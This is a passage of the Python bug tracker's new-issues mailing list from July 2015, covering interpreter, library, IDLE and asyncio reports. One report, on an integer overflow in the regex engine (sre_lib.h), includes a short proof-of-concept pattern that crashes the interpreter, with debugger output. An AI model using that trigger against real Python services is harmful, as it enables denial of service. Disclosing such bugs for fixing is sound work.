 fatal error being from winnt-service
Message-ID: <1435945665.32.0.485913142675.issue24561@psf.upfronthosting.co.za>


New submission from Vitaly Murashev:

[Affects Windows only]
Brief description (after analysis in debugger):

Py_InitializeEx fails inside internal call:

1.
    if (initstdio() < 0)
        Py_FatalError(
            "Py_Initialize: can't initialize sys standard streams");

2. inside initstdio():

    if (!is_valid_fd(fd)) {
        std = Py_None;
        Py_INCREF(std);
    }
    else {
// ===> is_valid_fd() passed and we come here
        std = create_stdio(iomod, fd, 0, "<stdin>", encoding, errors);
        if (std == NULL)
            goto error; // ===> this goto leads to fatal error

3.
is_valid_fd(int fd)   /// => JFI: fd=0
{
    int dummy_fd;
    if (fd < 0 || !_PyVerify_fd(fd))
        return 0;
    dummy_fd = dup(fd); /// ==>> dup() WORKS well
    if (dummy_fd < 0)
        return 0;
    close(dummy_fd);
    return 1;
}

4.
Let's Look whats going in create_stdio():
Modules\_io\fileio.c

static int
fileio_init(PyObject *oself, PyObject *args, PyObject *kwds)
{ ...
    if (fd >= 0) {
        if (check_fd(fd))
            goto error;    /// => fail is here 

5. Let's have a look at check_fd():
static int
check_fd(int fd)
{
#if defined(HAVE_FSTAT) /// => yes, it is defined for Windows
    struct stat buf;
    if (!_PyVerify_fd(fd) || (fstat(fd, &buf) < 0 && errno == EBADF)) {
        PyObject *exc;
        char *msg = strerror(EBADF);
        exc = PyObject_CallFunction(PyExc_OSError, "(is)",
                                    EBADF, msg);
        PyErr_SetObject(PyExc_OSError, exc);
        Py_XDECREF(exc);
        return -1;
    }
#endif
    return 0;
}

----------
components: IO, Interpreter Core, Windows
messages: 246199
nosy: paul.moore, steve.dower, tim.golden, vmurashev, zach.ware
priority: normal
severity: normal
status: open
title: [VS2013] Py_InitializeEx causes fatal error being from winnt-service
type: crash
versions: Python 3.4, Python 3.5, Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24561>
_______________________________________

From report at bugs.python.org  Fri Jul  3 22:34:38 2015
From: report at bugs.python.org (Dan Zemke)
Date: Fri, 03 Jul 2015 20:34:38 +0000
Subject: [New-bugs-announce] [issue24562] ntpath splitdrive fails on line
 161: tuple has no attribute 'replace'
Message-ID: <1435955678.33.0.899239486691.issue24562@psf.upfronthosting.co.za>


New submission from Dan Zemke:

Traceback was:

  File "\drzblobio.py", line 70, in load full_read_path = os.path.join(read_path, fname)
  File "C:\Python34\lib\ntpath.py", line 110, in join
    p_drive, p_path = splitdrive(p)
  File "C:\Python34\lib\ntpath.py", line 161, in splitdrive
    normp = p.replace(_get_altsep(p), sep)
AttributeError: 'tuple' object has no attribute 'replace'

----------
components: Library (Lib)
messages: 246217
nosy: zemke
priority: normal
severity: normal
status: open
title: ntpath splitdrive fails on line 161: tuple has no attribute 'replace'
type: crash
versions: Python 3.4

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24562>
_______________________________________

From report at bugs.python.org  Sat Jul  4 01:38:39 2015
From: report at bugs.python.org (Terry J. Reedy)
Date: Fri, 03 Jul 2015 23:38:39 +0000
Subject: [New-bugs-announce] [issue24563] Encoding declaration: doc
	supported encodings
Message-ID: <1435966719.35.0.908058462942.issue24563@psf.upfronthosting.co.za>


New submission from Terry J. Reedy:

The source .rst for 
<https://docs.python.org/3/reference/lexical_analysis.html#encoding-declarations>
has at the end:
.. XXX there should be a list of supported encodings.

While I believe this is impractical, there could be a link to
https://docs.python.org/3/library/codecs.html#standard-encodings
-- and possible subsubsections that follow.  Are the latter supported for Python code?

----------
assignee: docs at python
components: Documentation
messages: 246233
nosy: docs at python, terry.reedy
priority: normal
severity: normal
stage: needs patch
status: open
title: Encoding declaration: doc supported encodings
type: enhancement
versions: Python 2.7, Python 3.4, Python 3.5, Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24563>
_______________________________________

From report at bugs.python.org  Sat Jul  4 22:05:50 2015
From: report at bugs.python.org (Jess Hamrick)
Date: Sat, 04 Jul 2015 20:05:50 +0000
Subject: [New-bugs-announce] [issue24564] shutil.copytree fails when copying
	NFS to NFS
Message-ID: <1436040350.32.0.650425735541.issue24564@psf.upfronthosting.co.za>


New submission from Jess Hamrick:

shutil.copytree seems to fail when copying files across NFS filesystems. In this example (see bug_demo.py), /tmp is a normal ext4 filesystem and the current working directory is NFS (version 4). Interestingly, it works fine to to copy between ext4 and NFS, just not NFS and NFS (even if it's the same NFS mount).

Depending on the specific version of 3.4, there are slightly different errors. For 3.4.0:

$ uname -a
Linux compmodels-node 3.13.0-55-generic #94-Ubuntu SMP Thu Jun 18 00:27:10 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux
$ python3 bug_demo.py

--------------------------------------------------
Python version info:
3.4.0 (default, Jun 19 2015, 14:20:21)
[GCC 4.8.2]
--------------------------------------------------

Copying NFS --> /tmp
Copying /tmp --> NFS
Copying NFS --> NFS
Traceback (most recent call last):
  File "/usr/lib/python3.4/shutil.py", line 336, in copytree
    copystat(src, dst)
  File "/usr/lib/python3.4/shutil.py", line 212, in copystat
    _copyxattr(src, dst, follow_symlinks=follow)
  File "/usr/lib/python3.4/shutil.py", line 152, in _copyxattr
    os.setxattr(dst, name, value, follow_symlinks=follow_symlinks)
OSError: [Errno 22] Invalid argument: 'demo_files3'

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
  File "bug_demo.py", line 27, in <module>
    shutil.copytree('demo_files', 'demo_files3')
  File "/usr/lib/python3.4/shutil.py", line 339, in copytree
    if why.winerror is None:
AttributeError: 'OSError' object has no attribute 'winerror'


And for 3.4.3:

$ uname -a
Linux compmodels-node-02 3.19.0-21-generic #21-Ubuntu SMP Sun Jun 14 18:31:11 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux
$ python3 bug_demo.py

--------------------------------------------------
Python version info:
3.4.3 (default, Mar 26 2015, 22:03:40)
[GCC 4.9.2]
--------------------------------------------------

Copying NFS --> /tmp
Copying /tmp --> NFS
Copying NFS --> NFS
Traceback (most recent call last):
  File "bug_demo.py", line 27, in <module>
    shutil.copytree('demo_files', 'demo_files3')
  File "/usr/lib/python3.4/shutil.py", line 343, in copytree
    raise Error(errors)
shutil.Error: [('demo_files', 'demo_files3', "[Errno 22] Invalid argument: 'demo_files3'")]


This is probably related to https://bugs.python.org/issue17076 and my guess is that's also why there is a difference in the error messages between 3.4.0 and 3.4.3.

----------
files: bug_demo.py
messages: 246272
nosy: jhamrick
priority: normal
severity: normal
status: open
title: shutil.copytree fails when copying NFS to NFS
type: crash
versions: Python 3.4
Added file: http://bugs.python.org/file39864/bug_demo.py

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24564>
_______________________________________

From report at bugs.python.org  Sat Jul  4 22:36:38 2015
From: report at bugs.python.org (Xavier de Gaye)
Date: Sat, 04 Jul 2015 20:36:38 +0000
Subject: [New-bugs-announce] [issue24565] the f_lineno getter is broken
Message-ID: <1436042198.13.0.515231192679.issue24565@psf.upfronthosting.co.za>


New submission from Xavier de Gaye:

The last paragraph of Objects/lnotab_notes.txt explains that the f_lineno member of the PyFrameObject structure is needed to store the line number of the last "line" tracing event so that this value may be used as the line number of the "return" event instead of the (sometimes confusing) value computed from f_lasti.  The f_lineno getter must then return the value of f->f_lineno (instead of the value computed from f->f_lasti) when tracing is set. The current implementation translates "tracing is set" as "the local f_trace trace function is not NULL", this is wrong for the following reasons:

* AFAIK it is not documented anywhere that Python users implementing a trace function must delete the local f_trace functions of all the frames when setting the
  global trace function to None via sys.settrace(None) (issue 7238).

* Bdb.set_continue() in the bdb module of the std lib seems to know about this and attempts to do it, but fails to delete f_trace from the topmost frame, named botframe (sic) (issue 16482, issue 17697).

* It is not obvious how to delete the f_trace of all suspended generators when setting the global trace function to None (issue 17277).

* _PyTraceback_Add() in Python/traceback.c sets frame->f_lineno, obviously forgetting that it is useless since its f_trace is NULL.

This patch changes the semantics of f_lineno by stating that f_lineno is invalid when its value is -1. When tracing, the f_lineno of all the frames on the stack is valid. The f_lineno of a suspended generator is always invalid.

----------
components: Interpreter Core
files: f_lineno.patch
keywords: patch
messages: 246275
nosy: belopolsky, xdegaye
priority: normal
severity: normal
status: open
title: the f_lineno getter is broken
versions: Python 3.6
Added file: http://bugs.python.org/file39865/f_lineno.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24565>
_______________________________________

From report at bugs.python.org  Sun Jul  5 04:49:21 2015
From: report at bugs.python.org (bee13oy)
Date: Sun, 05 Jul 2015 02:49:21 +0000
Subject: [New-bugs-announce] [issue24566] Unsigned Integer Overflow in
	sre_lib.h
Message-ID: <1436064561.98.0.902755474507.issue24566@psf.upfronthosting.co.za>


New submission from bee13oy:

I found an Unsigned Integer Overflow in sre_lib.h.

Tested on En Windows 7 x86 + Python 3.4.3 / Python 3.5.0b2

Crash:
------
(1a84.16b0): Access violation - code c0000005 (!!! second chance !!!)
eax=00000002 ebx=0038f40c ecx=00000002 edx=0526cbb8 esi=83e0116b edi=c3e011eb
eip=58bcfa53 esp=0038f384 ebp=0038f394 iopl=0         nv up ei ng nz na po cy
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010283
python35+0x1fa53:
58bcfa53 380e            cmp     byte ptr [esi],cl          ds:002b:83e0116b=??

code: 
------
58bcfa3d 8b4a04          mov     ecx,dword ptr [edx+4]
58bcfa40 0fb6c1          movzx   eax,cl
58bcfa43 3bc1            cmp     eax,ecx
58bcfa45 0f8593000000    jne     python35+0x1fade (58bcfade)
58bcfa4b 3bf7            cmp     esi,edi
58bcfa4d 0f838b000000    jae     python35+0x1fade (58bcfade)
58bcfa53 380e            cmp     byte ptr [esi],cl          ds:002b:83e0116b=??
58bcfa55 0f8583000000    jne     python35+0x1fade (58bcfade)

stack:
------
0:000> kb
ChildEBP RetAddr  Args to Child              
WARNING: Stack unwind information not available. Following frames may be wrong.
0038f394 58bcfedf 40000080 0038f40c 83e0116c python35+0x1fa53
0038f3c0 58bd0f58 00000000 06016508 0526cb60 python35+0x1fedf
0038f400 58bd5039 58e40c58 83e0116b 03e01158 python35+0x20f58
0038f480 58bd76b2 00000000 7fffffff 00000000 python35+0x25039
0038f4a4 58c925cf 0526cb60 0528a4d0 00000000 python35+0x276b2
0038f4c4 58cf3633 06016508 0528a4d0 00000000 python35!PyCFunction_Call+0x2f
0038f4f8 58cf0b05 05840f90 03e0ab90 00000001 python35!PyEval_GetFuncDesc+0x373
0038f570 58cf3791 03e0ab90 00000000 00000001 python35!PyEval_EvalFrameEx+0x22d5
0038f594 58cf3692 00000001 00000001 00000000 python35!PyEval_GetFuncDesc+0x4d1
0038f5c8 58cf0b05 03e08de0 0012e850 00000000 python35!PyEval_GetFuncDesc+0x3d2
0038f640 58cf25bb 0012e850 00000000 065feff0 python35!PyEval_EvalFrameEx+0x22d5
0038f68c 58d29302 03dcfaa8 00000000 00000000 python35!PyEval_EvalFrameEx+0x3d8b
0038f6c8 58d29195 03dcfaa8 03dcfaa8 0038f790 python35!PyRun_FileExFlags+0x1f2
0038f6f4 58d2820a 05994fc8 052525a8 00000101 python35!PyRun_FileExFlags+0x85
0038f738 58bfe9f7 05994fc8 052525a8 00000001 python35!PyRun_SimpleFileExFlags+0x20a
0038f764 58bff32b 0038f790 5987b648 5987cc94 python35!Py_hashtable_copy+0x5e17
0038f808 1c6f11df 00000003 05796f70 05210f50 python35!Py_Main+0x90b

source code:

LOCAL(Py_ssize_t)
SRE(search)(SRE_STATE* state, SRE_CODE* pattern)
{
    SRE_CHAR* ptr = (SRE_CHAR *)state->start;
    SRE_CHAR* end = (SRE_CHAR *)state->end;
    Py_ssize_t status = 0;
    Py_ssize_t prefix_len = 0;
    Py_ssize_t prefix_skip = 0;
    SRE_CODE* prefix = NULL;
    SRE_CODE* charset = NULL;
    SRE_CODE* overlap = NULL;
    int flags = 0;

    if (pattern[0] == SRE_OP_INFO) {
        /* optimization info block */
        /* <INFO> <1=skip> <2=flags> <3=min> <4=max> <5=prefix info>  */

        flags = pattern[2];

        if (pattern[3] > 1) {
            /* adjust end point (but make sure we leave at least one
               character in there, so literal search will work) */
            end -= pattern[3] - 1;
            if (end <= ptr)
                end = ptr;
        }
		...
	}
	
	...
	
	} else
		/* general case */
		while (ptr <= end) {
			TRACE(("|%p|%p|SEARCH\n", pattern, ptr));
			state->start = state->ptr = ptr++;
			status = SRE(match)(state, pattern, 0);
			if (status != 0)
				break;
    }
}

SRE(count)(SRE_STATE* state, SRE_CODE* pattern, Py_ssize_t maxcount)
{
    SRE_CODE chr;
    SRE_CHAR c;
    SRE_CHAR* ptr = (SRE_CHAR *)state->ptr;
    SRE_CHAR* end = (SRE_CHAR *)state->end;
    Py_ssize_t i;

    /* adjust end */
    if (maxcount < end - ptr && maxcount != SRE_MAXREPEAT)
        end = ptr + maxcount;
		
    ...
	
#if SIZEOF_SRE_CHAR < 4
        if ((SRE_CODE) c != chr)
            ; /* literal can't match: doesn't fit in char width */
        else
#endif
        while (ptr < end && *ptr == c) // crash here, ptr points to an unreadable memory.
            ptr++;
        break;
}

poc code:
---cut----
import re

pattern = "([\\2]{1073741952})"
regexp = re.compile(r''+pattern+'')
sgroup = regexp.search(pattern)

---cut---

1.) In SRE(search), pattern[3] is equal to 1073741952 (0x400000080). What's more, the program doesn't limit the max size, which causes the end pointer is pointed to an invalid and large address( bigger than ptr).
2.) Then program run while (ptr <= end) { state->start = state->ptr = ptr++,..} , but state->end pointer is the orignal value.3.) After a while's running, it comes to SRE(count) and adjust the end, end - ptr = 0x7fffffff, which is largger than 0x400000080, ptr has been pointed to an invalid address.
3.) After a while, it runs to function SRE(count) and adjust the end, end - ptr = 0x7fffffff, which is largger than 0x400000080, ptr has been pointed to an invalid address.

----------
components: Regular Expressions
messages: 246290
nosy: bee13oy, ezio.melotti, mrabarnett
priority: normal
severity: normal
status: open
title: Unsigned Integer Overflow in sre_lib.h
versions: Python 3.4, Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24566>
_______________________________________

From report at bugs.python.org  Sun Jul  5 05:04:00 2015
From: report at bugs.python.org (Steven D'Aprano)
Date: Sun, 05 Jul 2015 03:04:00 +0000
Subject: [New-bugs-announce] [issue24567] random.choice IndexError due to
	double-rounding
Message-ID: <1436065440.76.0.743831142504.issue24567@psf.upfronthosting.co.za>


New submission from Steven D'Aprano:

While investigating issue 24546, I discovered that at least some versions of Python on 32-bit Linux have a double-rounding bug in multiplication which may lead to an unexpected IndexError in random.choice.

See http://bugs.python.org/issue24546 for additional discussion, but the short version is that due to double-rounding, if random.random returns (1. - 2.**-53), int(i * random.random()) may return 1 for some i >= 2049, and random.choice will then evaluate seq[len(seq)], raising IndexError.

----------
messages: 246291
nosy: Serge Anuchin, haypo, mark.dickinson, r.david.murray, rhettinger, serhiy.storchaka, skrah, steven.daprano, tim.peters
priority: normal
severity: normal
status: open
title: random.choice IndexError due to double-rounding
type: behavior
versions: Python 2.7, Python 3.2, Python 3.3, Python 3.4, Python 3.5, Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24567>
_______________________________________

From report at bugs.python.org  Sun Jul  5 14:07:17 2015
From: report at bugs.python.org (Jakub Wilk)
Date: Sun, 05 Jul 2015 12:07:17 +0000
Subject: [New-bugs-announce] [issue24568] Misc/NEWS: "free-after-use" ->
	"use-after-free"
Message-ID: <1436098037.39.0.99506662274.issue24568@psf.upfronthosting.co.za>


New submission from Jakub Wilk:

Misc/NEWS reads:
"Fix free-after-use bug"

It should be "use-after-free", not "free-after-use".

----------
assignee: docs at python
components: Documentation
messages: 246310
nosy: docs at python, jwilk
priority: normal
severity: normal
status: open
title: Misc/NEWS: "free-after-use" -> "use-after-free"
versions: Python 2.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24568>
_______________________________________

From report at bugs.python.org  Sun Jul  5 15:05:43 2015
From: report at bugs.python.org (=?utf-8?b?VmVkcmFuIMSMYcSNacSH?=)
Date: Sun, 05 Jul 2015 13:05:43 +0000
Subject: [New-bugs-announce] [issue24569] Inconsistent PEP 0448
	implementation
Message-ID: <1436101543.42.0.85714652308.issue24569@psf.upfronthosting.co.za>


New submission from Vedran ?a?i?:

It seems the consequences of PEP 0448 weren't really thought through. :-/ (And BTW why isn't it in "What's new in Python 3.5"? I know there is a file with full details, but I guess this really should be notable enough.)

    {0:1, **{0:2}, 0:3, 0:4}

Do you know what is the value of that dict? And does it make sense to you? It surely doesn't make sense to me (though I understand the implementation). I know things are really subtle and even Guido gets it wrong (https://bugs.python.org/msg234413), even without PEP 0448, but this particular instance is horrible.

ValueError would be perfect, I'd be ok with 4, I'd shrug on 1, I'd frown on 2, but I _scream_ on 3. Please fix this until it's too late and fictional "backward compatibility" starts to freeze the wrong behaviour.

----------
messages: 246312
nosy: Vedran.?a?i?
priority: normal
severity: normal
status: open
title: Inconsistent PEP 0448 implementation

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24569>
_______________________________________

From report at bugs.python.org  Sun Jul  5 22:48:27 2015
From: report at bugs.python.org (Alessandro Rosa)
Date: Sun, 05 Jul 2015 20:48:27 +0000
Subject: [New-bugs-announce] [issue24570] IDLE Autocomplete and Call Tips Do
	Not Pop Up
Message-ID: <1436129307.64.0.192936457067.issue24570@psf.upfronthosting.co.za>


New submission from Alessandro Rosa:

I recently upgraded to Python 2.7.10 on my MacOSX Yosemite computer. I also added a Python 3.4.3 installation. At the time I upgraded Tcl/Tk with ActiveTcl 8.5.18 as was suggested on the Python for MacOSX installation page.

At this point, Autocomplete and Call Tips stopped popping up. I checked the preferences and it seemed to be turned on. The delay was set to 2000, so I changed that to 2, but nothing happened. Pressing <ctrl>-Spacebar and then using the down arrow key lets me cycle through the the available functions, but putting a dot after an object has no effect, and if I open parentheses, I get no tips. This is both in the IDLE Shell and Editor windows.

I tried to redo everything by deleting all instances of Python from my drive. I reinstalled them, reloaded all packages, and Autocomplete and call tips still are not popping up. Is there any known issues or is there a workaround? Do I possibly need to add or change the new Tk path somewhere so that IDLE can find what it needs to popup autocomplete? Is there a way that I can initiate IDLE Autocomplete and Call Tips during the coding session to manually get them to work?

I am somewhat new to Python, and I often rely on the autocomplete tips to remind me of what I need to do or what methods are available for an object. I really like IDLE but it is hard for me to use without this functionality. Any help would be greatly appreciated.

Thank you,

----------
components: IDLE, Macintosh, Tkinter
messages: 246337
nosy: Alessandro Rosa, ned.deily, ronaldoussoren
priority: normal
severity: normal
status: open
title: IDLE Autocomplete and Call Tips Do Not Pop Up
type: behavior
versions: Python 2.7, Python 3.4

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24570>
_______________________________________

From report at bugs.python.org  Mon Jul  6 03:36:34 2015
From: report at bugs.python.org (Nick Coghlan)
Date: Mon, 06 Jul 2015 01:36:34 +0000
Subject: [New-bugs-announce] [issue24571] [RFE] Add asyncio.blocking_call API
Message-ID: <1436146594.33.0.331638937124.issue24571@psf.upfronthosting.co.za>


New submission from Nick Coghlan:

Based on a current python-dev discussion, I'd like to suggest a high level convenience API in asyncio to dispatch a blocking call out to a separate thread or process:

    # Call blocking operation from asynchronous code
   def blocking_call(f, *args, **kwds):
        """Usage: result = await asyncio.blocking_call(f, *args, **kwds))"""
        cb = functools.partial(f, *args, **kwds)
        return asyncio.get_event_loop().run_in_executor(cb)

While that function is only a couple of lines long, it's *conceptually* very dense.

The aim would thus be to let folks safely make blocking calls from asyncio code without needing to first understand the intricacies of the event loop, the event loop's executor, or the need to wrap the call in functools.partial. Exploring those would instead become an optional exercise in understanding how asyncio.blocking_call works.

----------
messages: 246342
nosy: giampaolo.rodola, gvanrossum, haypo, ncoghlan, pitrou, yselivanov
priority: normal
severity: normal
stage: needs patch
status: open
title: [RFE] Add asyncio.blocking_call API
type: enhancement
versions: Python 3.5, Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24571>
_______________________________________

From report at bugs.python.org  Mon Jul  6 03:45:10 2015
From: report at bugs.python.org (Kevin Phillips (kmecpp))
Date: Mon, 06 Jul 2015 01:45:10 +0000
Subject: [New-bugs-announce] [issue24572] IDLE Bug
Message-ID: <1436147110.34.0.380654402818.issue24572@psf.upfronthosting.co.za>


New submission from Kevin Phillips (kmecpp):

This appears to be a bug with IDLE that happens when printing out ASCII codes. I posted the issue to stackoverflow when I came accross it because I didn't know what the problem was, so there is a more detailed description of the there: http://stackoverflow.com/q/31235670/3476226

----------
components: IDLE
files: python_bug.png
messages: 246343
nosy: Kevin Phillips (kmecpp)
priority: normal
severity: normal
status: open
title: IDLE Bug
type: behavior
versions: Python 3.4
Added file: http://bugs.python.org/file39873/python_bug.png

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24572>
_______________________________________

From report at bugs.python.org  Mon Jul  6 04:17:48 2015
From: report at bugs.python.org (Topher Kessler)
Date: Mon, 06 Jul 2015 02:17:48 +0000
Subject: [New-bugs-announce] [issue24573] Using multiprocessing with tkinter
 frames in Python 3.4.3 crashes in OS X
Message-ID: <1436149068.06.0.463306574037.issue24573@psf.upfronthosting.co.za>


New submission from Topher Kessler:

There may be a bug in how tkinter frames are handled when called in multiple processes in OS X.

I am trying to run a simple script that defines a new Frame subclass and then attempts to call it multiple times in separate processes using the multiprocessing module. When the frame's mainloops are called the process crashes. I've included the script where this problem is occurring.

The crash report specifies python, and among a bunch of boilerplate information includes the following lines:

Application Specific Information:
*** multi-threaded process forked ***
crashed on child side of fork pre-exec

This is happening in Python 3.4.3, running in OS X 10.10.4. In testing this on alternative platforms (Windows and Linux) it appears to work, suggesting it may be a bug in OS X's implementation.

----------
components: Macintosh, Tkinter
files: tkmultiproc.py
messages: 246344
nosy: ned.deily, ronaldoussoren, tkessler
priority: normal
severity: normal
status: open
title: Using multiprocessing with tkinter frames in Python 3.4.3 crashes in OS X
type: crash
versions: Python 3.4
Added file: http://bugs.python.org/file39874/tkmultiproc.py

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24573>
_______________________________________

From report at bugs.python.org  Mon Jul  6 11:21:39 2015
From: report at bugs.python.org (=?utf-8?q?Krzysztof_S=C5=82ycha=C5=84?=)
Date: Mon, 06 Jul 2015 09:21:39 +0000
Subject: [New-bugs-announce] [issue24574] ANSI escape sequences breaking
	string justification
Message-ID: <1436174499.9.0.270807201106.issue24574@psf.upfronthosting.co.za>


New submission from Krzysztof S?ycha?:

Strings containing ANSI escape sequences are not justified if the length including escape sequences exceeds the field width.

Testcase:
Let's make a string with escape sequences - bold, for example:
>>> string = '\033[01m' + 'bold' + '\033[0m'

String length will be larger than the length of a displayed string
(should be 4, is 13). Looks like '\03' is counted as escape sequence,
but '3[01m' and '3[0m' are not, and count into the string length.
>>> len(string)
13

Try to print justified string - should be centered between '|' signs
>>> print('|' + string.center(10) + '|')
|bold|
Does not work at all...

If field length is larger than len(string), justification works
>>> print('|' + string.center(30) + '|')
|        bold         |

----------
components: Interpreter Core
messages: 246351
nosy: Krzysztof S?ycha?
priority: normal
severity: normal
status: open
title: ANSI escape sequences breaking string justification
type: behavior
versions: Python 3.4

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24574>
_______________________________________

From report at bugs.python.org  Mon Jul  6 15:13:16 2015
From: report at bugs.python.org (Timothy Murphy)
Date: Mon, 06 Jul 2015 13:13:16 +0000
Subject: [New-bugs-announce] [issue24575] timemodule build fail - missing
 definitions for _Py_BEGIN_SUPPRESS_IPH and _Py_END_SUPPRESS_IPH
Message-ID: <1436188396.48.0.089424009249.issue24575@psf.upfronthosting.co.za>


New submission from Timothy Murphy:

My build of the 3.5 head fails in timemodule.c which results in an interpreter that can run but can't "import time".

Details:
changeset 96851:bb9fc884a838
on Fedora Linux x86_64 

Output:
/home/tim/build/cpython/Modules/timemodule.c: In function ?time_strftime?:
/home/tim/build/cpython/Modules/timemodule.c:656:9: error: unknown type name ?_Py_BEGIN_SUPPRESS_IPH?
         _Py_BEGIN_SUPPRESS_IPH
         ^
/home/tim/build/cpython/Modules/timemodule.c:656:9: error: ISO C90 forbids mixed declarations and code [-Werror=declaration-after-statement]
/home/tim/build/cpython/Modules/timemodule.c:658:9: error: ?_Py_END_SUPPRESS_IPH? undeclared (first use in this function)
         _Py_END_SUPPRESS_IPH
         ^
/home/tim/build/cpython/Modules/timemodule.c:658:9: note: each undeclared identifier is reported only once for each function it appears in
/home/tim/build/cpython/Modules/timemodule.c:662:9: error: expected ?;? before ?if?
         if (buflen > 0 || i >= 256 * fmtlen) {
         ^
/home/tim/build/cpython/Modules/timemodule.c:657:9: warning: unused variable ?buflen? [-Wunused-variable]
         buflen = format_time(outbuf, i, fmt, &buf);
         ^
/home/tim/build/cpython/Modules/timemodule.c:561:20: warning: unused variable ?buflen? [-Wunused-variable]
     size_t fmtlen, buflen;
                    ^
/home/tim/build/cpython/Modules/timemodule.c:561:12: warning: variable ?fmtlen? set but not used [-Wunused-but-set-variable]
     size_t fmtlen, buflen;
            ^
cc1: some warnings being treated as errors

Failed to build these modules:
time

----------
components: Build, Extension Modules
messages: 246358
nosy: tnmurphy
priority: normal
severity: normal
status: open
title: timemodule build fail - missing definitions for _Py_BEGIN_SUPPRESS_IPH and _Py_END_SUPPRESS_IPH
type: compile error
versions: Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24575>
_______________________________________

From report at bugs.python.org  Mon Jul  6 15:23:58 2015
From: report at bugs.python.org (=?utf-8?b?5r2Y5paw5piO?=)
Date: Mon, 06 Jul 2015 13:23:58 +0000
Subject: [New-bugs-announce] [issue24576] python27 unicode align comments
Message-ID: <1436189038.3.0.738800086055.issue24576@psf.upfronthosting.co.za>


New submission from ???:

see patch.

----------
components: Unicode
files: python27_unicode_align_comments.patch
keywords: patch
messages: 246360
nosy: ezio.melotti, haypo, ???
priority: normal
severity: normal
status: open
title: python27 unicode align comments
versions: Python 2.7
Added file: http://bugs.python.org/file39875/python27_unicode_align_comments.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24576>
_______________________________________

From report at bugs.python.org  Mon Jul  6 17:14:36 2015
From: report at bugs.python.org (R. David Murray)
Date: Mon, 06 Jul 2015 15:14:36 +0000
Subject: [New-bugs-announce] [issue24577] Document behavior (logging and
 call to connection_lost) on socket TimeoutError
Message-ID: <1436195676.25.0.309895350913.issue24577@psf.upfronthosting.co.za>


New submission from R. David Murray:

I saw _fatal_error tracebacks in my application log, and thought I had hit an asyncio bug, but according to https://github.com/python/asyncio/issues/135 this is the correct behavior.  That issue ends with a request to open a documentation issue on the python tracker, but I don't think that was done (I couldn't find one, anyway), so I'm opening this one.

At this point in time I have no idea where this would go in the docs.  Maybe in the docs for connection_lost?

----------
messages: 246370
nosy: r.david.murray
priority: normal
severity: normal
status: open
title: Document behavior (logging and call to connection_lost) on socket TimeoutError

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24577>
_______________________________________

From report at bugs.python.org  Mon Jul  6 20:01:54 2015
From: report at bugs.python.org (Sven R. Kunze)
Date: Mon, 06 Jul 2015 18:01:54 +0000
Subject: [New-bugs-announce] [issue24578] [RFE] Add asyncio.wait_for_result
	API
Message-ID: <1436205714.01.0.481233835807.issue24578@psf.upfronthosting.co.za>


New submission from Sven R. Kunze:

In order to complement http://bugs.python.org/issue24571, this is another high-level convenience API for asyncio to treat an awaitable like a usual subroutine (credits go to Nick Coghlan):

    # Call awaitable from synchronous code
    def wait_for_result(awaitable):
        """Usage: result = asyncio.wait_for_result(awaitable)"""
        return asyncio.get_event_loop().run_until_complete(awaitable.__await__())

It may not be that conceptually dense, however, I feel for projects transitioning from the classical subroutine world to the asyncio world, this functionality might prove useful to bridge both worlds seamlessly when necessary.

----------
components: asyncio
messages: 246373
nosy: gvanrossum, haypo, srkunze, yselivanov
priority: normal
severity: normal
status: open
title: [RFE] Add asyncio.wait_for_result API
versions: Python 3.5, Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24578>
_______________________________________

From report at bugs.python.org  Tue Jul  7 02:34:02 2015
From: report at bugs.python.org (Craig Northway)
Date: Tue, 07 Jul 2015 00:34:02 +0000
Subject: [New-bugs-announce] [issue24579] Additional tests for urllib module
Message-ID: <1436229242.99.0.593377737006.issue24579@psf.upfronthosting.co.za>


New submission from Craig Northway:

Patch containing additional tests for urllib module to increase code coverage for url parsing.

Current coverage:

Lib/urllib/parse                 513    202    61%

Updated coverage:

Lib/urllib/parse                 513    139    73%

----------
components: Tests
messages: 246386
nosy: craign
priority: normal
severity: normal
status: open
title: Additional tests for urllib module
type: enhancement

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24579>
_______________________________________

From report at bugs.python.org  Tue Jul  7 03:25:41 2015
From: report at bugs.python.org (Dan Haffey)
Date: Tue, 07 Jul 2015 01:25:41 +0000
Subject: [New-bugs-announce] [issue24580] Wrong or missing exception when
 compiling regexes with recursive named backreferences
Message-ID: <1436232341.94.0.272846345594.issue24580@psf.upfronthosting.co.za>


New submission from Dan Haffey:

Error reporting for recursive backreferences in regexes isn't consistent across both types of backref. Here's the exception for a recursive numeric backref:

>>> import re
>>> re.compile(r'(\1)')
Traceback (most recent call last):
    ...
sre_constants.error: cannot refer to an open group at position 1

Here's what I'm seeing on the 3.5 branch for a named backref:

>>> re.compile(r'(?P<spam>(?P=spam))')
Traceback (most recent call last):
    ...
RecursionError: maximum recursion depth exceeded

Which is an improvement over 3.4 and below, where compilation succeeds and appears to treat (?P=spam) as valid but unmatchable.

----------
components: Regular Expressions
messages: 246390
